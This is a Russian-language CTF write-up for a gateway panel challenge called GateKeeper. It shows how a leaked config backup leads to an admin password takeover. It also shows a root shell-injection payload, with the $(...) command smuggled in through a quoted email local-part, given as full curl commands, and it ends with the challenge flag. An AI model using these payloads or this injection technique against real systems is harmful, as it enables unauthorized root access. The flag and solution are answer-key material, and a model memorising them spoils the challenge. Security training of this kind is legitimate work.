GateKeeper
GateKeeper GW-7 — панель сетевого шлюза. Регистрации нет, есть только `admin` и `operator`. Флаг лежит в `/root/flag.txt`, а веб-приложение работает от `gk`. Для чтения файла используем утечку конфига, смену чужого пароля и синхронизацию пользователя.
## Решение
### Получение прав администратора
В статике находим `/static/config.json.bak`. Бэкап содержит пароль `operator`. Входим через `POST /login` с JSON-полями `username` и `password`, сохраняем cookie `gk_session`.
У оператора мало прав, но есть смена собственного пароля. Проверяем её запросом к `POST /account/password`. Обработчик ищет совпадение `old_password` с паролем любого пользователя, не связывая его с полем `username`.
С cookie оператора отправляем в `POST /account/password` имя администратора и известный пароль оператора:
```json
{
"username":"admin",
"old_password":"<пароль operator из бэкапа>",
"new_password":"gk_pwned_2026"
}
```
Проверка проходит, пароль `admin` меняется. Повторяем `POST /login` с `username=admin` и новым паролем `gk_pwned_2026`. Сохраняем новую cookie `gk_session` и используем её для административной синхронизации.
### Выполнение команды через email
`POST /admin/directory/sync` принимает `email` и вызывает `sudo /opt/gk/bin/sync_user.sh `. У `gk` есть право запускать этот скрипт от root без пароля.
Фильтр исходной строки блокирует `;`, `|`, обратные кавычки и несколько других операторов. Но email-парсер принимает local-part в двойных кавычках и снимает их при нормализации. Затем скрипт подставляет результат в `eval` без кавычек.
Отправляем из администраторской сессии:
```bash
curl -sS http://:18113/admin/directory/sync \
-b 'gk_session=<сессия admin>' \
-H 'Content-Type: application/json' \
--data '{"email":"\"x$(cp /root/flag.txt /opt/gk/www/public/f.txt)\"@gw.local"}'
```
Сырой email проходит парсер задания. После нормализации и `eval` конструкция `$(cp ...)` исполняется от root и копирует флаг в каталог веб-раздачи.
Вывод скрипта в HTTP-ответе не показывают. Зато `/opt/gk/www/public` доступен как `/public/`, а скрипт выставляет права `a+rX`:
```bash
curl -sS http://:18113/public/f.txt
```
Получаем содержимое закрытого файла. Ключевой переход здесь — от строки, допустимой для email-парсера, к той же строке как к части shell-команды.
[Солвер](solve/solve.py).
## Флаг
`CAPLAG{rfc5322_qu0t3d_sh3ll_1nj}`